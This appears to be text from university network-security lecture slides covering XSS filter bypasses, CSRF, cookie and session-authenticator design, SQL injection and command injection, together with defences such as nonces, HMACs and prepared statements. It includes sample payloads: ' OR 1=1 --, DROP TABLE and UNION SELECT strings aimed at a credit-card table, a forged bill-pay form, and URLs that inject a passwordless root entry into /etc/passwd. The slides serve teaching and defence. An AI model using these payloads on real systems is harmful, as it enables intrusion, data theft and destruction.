97 @Yuan Xue (yuan.xue@vanderbilt.edu) But watch out for tricky cases Previous filter works on some input Try it at http://kallahar.com/smallprojects/php_xss_filter_function.php But consider this java script Blocked; &#x09 is horizontal tab java&#x09;script  java script Instead of blocking this input, it is transformed to an attack Need to loop and reapply filter to output until nothing found

98 @Yuan Xue (yuan.xue@vanderbilt.edu) Advanced anti-XSS tools Dynamic Data Tainting Perl taint mode Static Analysis Analyze Java, PHP to determine possible flow of untrusted input

99 @Yuan Xue (yuan.xue@vanderbilt.edu) Client-side XSS defenses Proxy-based: analyze the HTTP traffic exchanged between user’s web browser and the target web server by scanning for special HTML characters and encoding them before executing the page on the user’s web browser Application-level firewall: analyze browsed HTML pages for hyperlinks that might lead to leakage of sensitive information and stop bad requests using a set of connection rules. Auditing system: monitor execution of JavaScript code and compare the operations against high-level policies to detect malicious behavior

100 @Yuan Xue (yuan.xue@vanderbilt.edu) IE 8 XSS Filter What can you do at the client? Attack Server Server Victim User Victim click on link echo user input 3 send valuable data 5 4 http://blogs.msdn.com/ie/archive/2008/07/01/ie8-security-part-iv-the-xss-filter.aspx

101 @Yuan Xue (yuan.xue@vanderbilt.edu) Points to remember Key concepts Whitelisting vs. blacklisting Output encoding vs. input sanitization Sanitizing before or after storing in database Dynamic versus static defense techniques Good ideas Static analysis (e.g. ASP.NET has support for this) Taint tracking Framework support Continuous testing Bad ideas Blacklisting Manual sanitization

102 @Yuan Xue (yuan.xue@vanderbilt.edu) XSRF: Cross-Site Request Forgery Same browser runs a script from a “good” site and a malicious script from a “bad” site Requests to “good” site are authenticated by cookies Malicious script can make forged requests to “good” site with user’s cookie Netflix: change acct settings, Gmail: steal contacts Potential for much bigger damage (think banking)

103 @Yuan Xue (yuan.xue@vanderbilt.edu) XSRF (aka CSRF): Basic Idea Attack server Server victim User victim establish session send forged request visit server receive malicious page 1 2 3 4 Q: how long do you stay logged on to Gmail?; And how often you use the same window to visit other websites?

104 @Yuan Xue (yuan.xue@vanderbilt.edu) An Example Users logs into bank.com, forgets to sign off Session cookie remains in browser state User then visits a malicious website containing <form name=BillPayForm action=http://bank.com/BillPay.php> … document.BillPayForm.submit(); Browser sends cookie, payment request fulfilled!

105 @Yuan Xue (yuan.xue@vanderbilt.edu) XSRF Defenses Secret token with fresh nonce in every form Server should place the secret token with fresh nonce in every form Server should check for it on every POST request  Confirm part of ongoing session with server Forged requests will have cookie, but not the nonce Token in POST can be HMAC of session ID in cookie

106 @Yuan Xue (yuan.xue@vanderbilt.edu) Protect Integrity of A Cookie Danger of storing cookie on client User can change and delete cookie values !! Example: Shopping cart software. Set-cookie:shopping-cart-total = 150 ($) User edits cookie file (cookie poisoning): Cookie:shopping-cart-total = 15 ($) Start bargain shopping.

107 @Yuan Xue (yuan.xue@vanderbilt.edu) 107 Real World Cases (as of 2/2000) D3.COM Pty Ltd: ShopFactory 5.8 @Retail Corporation: @Retail Adgrafix: Check It Out Baron Consulting Group: WebSite Tool ComCity Corporation: SalesCart Crested Butte Software: EasyCart Dansie.net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store OrderPage McMurtrey/Whitaker & Associates: Cart32 3.0 pknutsen@nethut.no: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCart Web Express: Shoptron 1.2 Source: http://xforce.iss.net/xforce/xfdb/4621

108 @Yuan Xue (yuan.xue@vanderbilt.edu) Solution: MAC “value” should also contain data to prevent cookie replay and swap To protect the integrity of the cookie - Requires secret key unknown to the client  server secret key - Add a MAC to every cookie, computed with the server’s secret key shopping-cart-total ; HMAC(ServerKey, shopping-cart-total ) Browser Server k Set-Cookie: NAME= value T Cookie: NAME = value T Generate tag: T  F(k, value) Verify tag: T = F(k, value) ?

109 @Yuan Xue (yuan.xue@vanderbilt.edu) Now Let’s go back to our original problem: How to keep an authenticated session using cookie

110 @Yuan Xue (yuan.xue@vanderbilt.edu) Web Authentication via Cookies Procedure After client successfully authenticates, server computes an authenticator and gives it to client in a cookie With each request, client presents the cookie Server recomputes and verifies the authenticator  Server does not need to remember the authenticator

111 @Yuan Xue (yuan.xue@vanderbilt.edu) Session Authentication with Cookies clientserver POST /login.cgi Set-Cookie:authenticator GET /restricted.html Cookie:authenticator Restricted content Verify that this client is authorized Check validity of authenticator (e.g., recompute hash(key,sessId))

112 @Yuan Xue (yuan.xue@vanderbilt.edu) Design of Authenticator Authenticator is a short-term secret Authenticator can be changed at any time (like session key) Password is less convenient to change (like master key) Authenticator must be unpredictable, unforgeable and protected Malicious client shouldn’t be able to compute/guess a valid authenticator by himself  Should incorporate the server’s secret in computing the authenticator  use MAC to protect its integrity Attackers shouldn’t be able to sniff or steal an authenticator  Always be sent over SSL  Be aware of XSS, XSRF

113 @Yuan Xue (yuan.xue@vanderbilt.edu) Some Bad Examples of Authenticator Verizon Wireless Use counter Predictable cookie authenticator Valid user logs in, gets counter, can view sessions of other users. WSJ.com Use user,hash(user,key) as authenticator Key is secret and known only to the server. Implementation: user,crypt(user,key)  crypt() is UNIX hash function for passwords  crypt() truncates its input at 8 characters  Usernames matching first 8 characters end up with the same authenticator [Fu et al.]

114 @Yuan Xue (yuan.xue@vanderbilt.edu) Better Cookie Authenticator CapabilityExpirationHash(server secret, capability, expiration) Describes what user is authorized to do on the site that issued the cookie Cannot be forged by malicious user; does not leak server secret Main lesson: don’t roll your own! Homebrewed authentication schemes are often flawed

115 @Yuan Xue (yuan.xue@vanderbilt.edu) Session Management Mechanisms Where the session states/session ID can be stored and communicated between client and server? Client’s computer  Cookies URL  URL rewriting HTML page  Hidden field in the form

116 @Yuan Xue (yuan.xue@vanderbilt.edu) Browser Session With URL Rewrite www.e_buy.com www.e_buy.com/ shopping.cfm? pID=269 View catalog www.e_buy.com/ shopping.cfm? pID=269& item1=102030405 www.e_buy.com/ checkout.cfm? pID=269& item1=102030405 Check outSelect item Store session information in URL

117 @Yuan Xue (yuan.xue@vanderbilt.edu) Example User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator With special URL, user doesn’t need to re-authenticate  Reasoning: user could not have not known the special URL without authenticating first. Note that the authenticator needs to be correctly designed (recall what we’ve discussed in the “cookie authenticator”) But how can I protect the authenticator in URL? Can SSL do the job? https://www.fatbrain.com/HelpAccount.asp?t=0&p1=me@me.com&p2=540555758

118 @Yuan Xue (yuan.xue@vanderbilt.edu) Is the path and query string in URL safe in HTTPS?

119 @Yuan Xue (yuan.xue@vanderbilt.edu) A Real Question on Internet “I navigate to my bank's website, e.g., http://www.company.com. The homepage begins to load, and the URL reads: https://www.company.com. I then enter my username and password into the homepage, to log in to my account. The URL then reads as follows: https://login.company.com/Login/Init?UID=123456789&PIN =98765&Submit=Log+In Question: In this case, is my UserID and Password readable in transit by a third party (i.e., is the URL string itself encrypted -- or is it sent over the internet as plaintext)? “ http://www.company.comhttps://www.company.com https://login.company.com/Login/Init?UID=123456789&PIN =98765&Submit=Log+In http://answers.google.com/answers/threadview/id/758002.html

120 @Yuan Xue (yuan.xue@vanderbilt.edu) What Does SSL Encrypt? Question 1: Is the path and query string encrypted in an HTTPS "get" request (this is where form field responses or program variables are tagged on to the end of the url). These fields are stripped off of the URL when creating the routing information in the https packaging process by the browser and are included in the encrypted data block. The page data (form, text, and query string) are passed in the encrypted block after the encryption methods are determined and the handshake completes. Question 2: Is the form data transmitted with encryption if the blank form is displayed without https. If the form "action" is set to use https then the ssl handshake will take place before the data is sent. Whether the original form is displayed using https has little to do with the form submission unless the form action uses a relative path, in which case the default will be to use the protocol that was used to display the form. The above rules apply to both the request and the response. Refer to [WS] 16.4 for more discussions on HTTPS

121 @Yuan Xue (yuan.xue@vanderbilt.edu) Pros and Cons Pro Works even if cookies are disabled or unsupported Con Must encode all URLs that refer to your own site Fails for bookmarks and links from other sites URL information can be forwarded via HTTP referer header (detailed discussion on this subject is not included these slides. Will be added later)

122 @Yuan Xue (yuan.xue@vanderbilt.edu) Session Management Mechanisms Where the session states/session ID can be stored and communicated between client and server? Client’s computer  Cookies URL  URL rewriting HTML page  Hidden field in the form

123 @Yuan Xue (yuan.xue@vanderbilt.edu) Hidden Form Fields Pro Works even if cookies are disabled or unsupported Con All pages must be the result of form submissions Similar security issues (confidentiality /integrity protection) apply here.

124 @Yuan Xue (yuan.xue@vanderbilt.edu) An Example Dansie Shopping Cart (2006) “A premium, comprehensive, Perl shopping cart. Increase your web sales by making it easier for your web store customers to order.” <FORM METHOD=POST ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl"> Black Leather purse with leather straps Price: $20.00 Change this to 2.00 Bargain shopping!

125 @Yuan Xue (yuan.xue@vanderbilt.edu) Shopping Cart Form Tampering Many Web-based shopping cart applications use hidden fields in HTML forms to hold parameters for items in an online store. These parameters can include the item's name, weight, quantity, product ID, and price. Any application that bases price on a hidden field in an HTML form is vulnerable to price changing by a remote user. A remote user can change the price of a particular item they intend to buy, by changing the value for the hidden HTML tag that specifies the price, to purchase products at any price they choose. http://xforce.iss.net/xforce/xfdb/4621

126 @Yuan Xue (yuan.xue@vanderbilt.edu) Comparison Client’s computer  Cookies URL  URL rewriting HTML page  Hidden field in the form These “state carriers” do not have any security properties themselves Similarity: they all need similar security mechanisms to protect the sensitive information they carry (e.g., over SSL, using MAC) Difference: the sensitive information is carried at different locations of the client system. Cookies at local disk  more risk if stored after browser is closed URL/FORM within the browser  gone when browser is closed Different access methods/rights are needed by attackers in order to access the information  XSS/XSRF can steal local stored cookies  HTTP Referer header can reveal URL information

127 @Yuan Xue (yuan.xue@vanderbilt.edu) More Issues With Web Security We have discussed Web Authentication Session Management Web Server Server side script database Web Browser Client side script HTTP Request Response HTML files Lots more problems here

128 @Yuan Xue (yuan.xue@vanderbilt.edu) SQL Injection

129 @Yuan Xue (yuan.xue@vanderbilt.edu) 129 SQL Widely used database query language Fetch a set of records SELECT * FROM Person WHERE Username=‘grader’ Add data to the table INSERT INTO Person (Username, Zoobars) VALUES (‘grader’, 10) Modify data UPDATE Person SET Zoobars=42 WHERE PersonID=5 Query syntax (mostly) independent of vendor

130 @Yuan Xue (yuan.xue@vanderbilt.edu) 130 Example Sample PHP $recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $rs = $db->executeQuery($sql); Problem What if ‘recipient’ is malicious string that changed the meaning of the query?

131 @Yuan Xue (yuan.xue@vanderbilt.edu) Basic picture: SQL Injection 131 Victim Server Victim SQL DB Attacker post malicious form unintend ed query receive valuable data 1 2 3

132 @Yuan Xue (yuan.xue@vanderbilt.edu) 132 Real World Examples CardSystems credit card payment processing company SQL injection attack in June 2005 put company out of business The Attack 263,000 credit card #s stolen from database credit card #s stored unencrypted 43 million credit card #s exposed

133 @Yuan Xue (yuan.xue@vanderbilt.edu) What is SQL Injection? Input Validation Vulnerability Untrusted user input in SQL query sent to back-end database without sanitizing the data Specific case of more general command injection Inserting untrusted input into a query or command Why is this Bad? Data can be misinterpreted as a command Can alter the intended effect of command or query 133

134 @Yuan Xue (yuan.xue@vanderbilt.edu) SQL Injection Cases Web Server Web Browser (Client) DB Enter Username & Password SELECT passwd FROM USERS WHERE uname IS ‘$username’ Attacker will modify Type 1 Attack Example

135 @Yuan Xue (yuan.xue@vanderbilt.edu) Malicious input 135 Attacker Modifies Input

136 @Yuan Xue (yuan.xue@vanderbilt.edu) SQL Injection Examples Web Server Web Browser (Client) DB Enter Username & Password SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLE USERS; -- ‘ Malicious Query Eliminates all user accounts

137 @Yuan Xue (yuan.xue@vanderbilt.edu) Type 2 Attack Example set UserFound=execute( SELECT * FROM UserTable WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” ); User supplies username and password, this SQL query checks if user/password combination is in the database If not UserFound.EOF Authentication correct else Fail Only true if the result of SQL query is not empty, i.e., user/pwd is in the database

138 @Yuan Xue (yuan.xue@vanderbilt.edu) SQL Injection User gives username ′ OR 1=1 -- Web server executes query set UserFound=execute( SELECT * FROM UserTable WHERE username=′ ′ OR 1=1 -- … ); This returns the entire database! UserFound.EOF is always false; authentication is always “correct” Always true! Everything after -- is ignored!

139 @Yuan Xue (yuan.xue@vanderbilt.edu) Let’s see the effect of type 2 SQL injection View pizza order history: Month Jan... Dec Year Note: Attacker can post form that is not generated by this page.

140 @Yuan Xue (yuan.xue@vanderbilt.edu) SQL Injection SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10 Normal SQL Query For order_month parameter, attacker could input Type 2 Attack 0 OR 1=1 Malicious Query … WHERE userid=4123 AND order_month=0 OR 1=1 WHERE condition is always true! Gives attacker access to other users’ private data!

141 @Yuan Xue (yuan.xue@vanderbilt.edu) Result from Previous Request

142 @Yuan Xue (yuan.xue@vanderbilt.edu) It gets better… A more damaging breach of user privacy: Attacker is able to Combine the results of two queries Empty table from first query with the sensitive credit card info of all users from second query For order_month parameter, attacker could input 0 AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards

143 @Yuan Xue (yuan.xue@vanderbilt.edu) Results Credit Card Info Compromised

144 @Yuan Xue (yuan.xue@vanderbilt.edu) And better…. Create new users: ‘; INSERT INTO USERS (‘uname’,’passwd’, ‘salt’) VALUES (‘hacker’,’38a74f’, 3234); Password reset: ‘; UPDATE USERS SET email=hcker@root.orgWHERE email=victim@yahoo.com email=victim@yahoo.com

145 @Yuan Xue (yuan.xue@vanderbilt.edu) Second-Order SQL Injection Second-Order SQL Injection: attack where data stored in database is later used to conduct SQL injection Example: this vulnerability could exist if string escaping is applied inconsistently Solution: Treat ALL parameters as dangerous UPDATE USERS SET passwd='cracked' WHERE uname='admin' --' attacker chooses username 'admin' -- Strings not escaped!

146 @Yuan Xue (yuan.xue@vanderbilt.edu) Preventing SQL Injection Input validation Filter  Apostrophes, semicolons, percent symbols, hyphens, underscores, …  Any character that has special meanings Check the data type (e.g., make sure it’s an integer) Whitelisting Blacklisting chars doesn’t work  forget to filter out some characters  could prevent valid input (e.g. username O’Brien) Allow only well-defined set of safe values  Set implicitly defined through regular expressions

147 @Yuan Xue (yuan.xue@vanderbilt.edu) Prepared Statements Metacharacters (e.g. ‘) in queries provide distinction between data & control Most attacks: data interpreted as control / alters the semantics of a query/cmd Bind Variables: ? placeholders guaranteed to be data (not control) Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query

148 @Yuan Xue (yuan.xue@vanderbilt.edu) Prepared Statement:Example PreparedStatement ps = db.prepareStatement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executeQuery(); Bind Variable: Data Placeholder query parsed w/o parameters bind variables are typed e.g. int, string, etc…*

149 @Yuan Xue (yuan.xue@vanderbilt.edu) Parameterized SQL Build SQL queries by properly escaping args: ′  \′ Example: Parameterized SQL: (ASP.NET 1.1) Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader();

150 @Yuan Xue (yuan.xue@vanderbilt.edu) Other command injection Example: PHP server-side code for sending email Attacker can post OR $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) http://yourdomain.com/mail.pl? email=hacker@hackerhome.net& subject=foo < /usr/passwd; ls http://yourdomain.com/mail.pl? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls

151 @Yuan Xue (yuan.xue@vanderbilt.edu) Comparison XSS – Cross-site scripting Problem stems from echoing untrusted input Difficult to prevent; requires care, testing, tools, … XSRF – Cross-site request forgery Forged request leveraging ongoing session Can be prevented (if XSS problems fixed) SQL Injection Bad input checking allows malicious SQL query Known defenses address problem effectively

152 @Yuan Xue (yuan.xue@vanderbilt.edu) References and Acknowledgement The material used in this lecture comes from the following sources http://seclab.stanford.edu/websec/ Dos and Don’ts of Client Authentication on the Web Secure Session Management With Cookies for Web ApplicationsSecure Session Management With Cookies for Web Applications. Authentication and Session Management on the Web Cross site scripting explained Cross Site Request Forgery Advanced SQL Injection In SQL Server Applications


Download ppt "@Yuan Xue CS 285 Network Security Web Security Yuan Xue Fall 2013."

Similar presentations


Ads by Google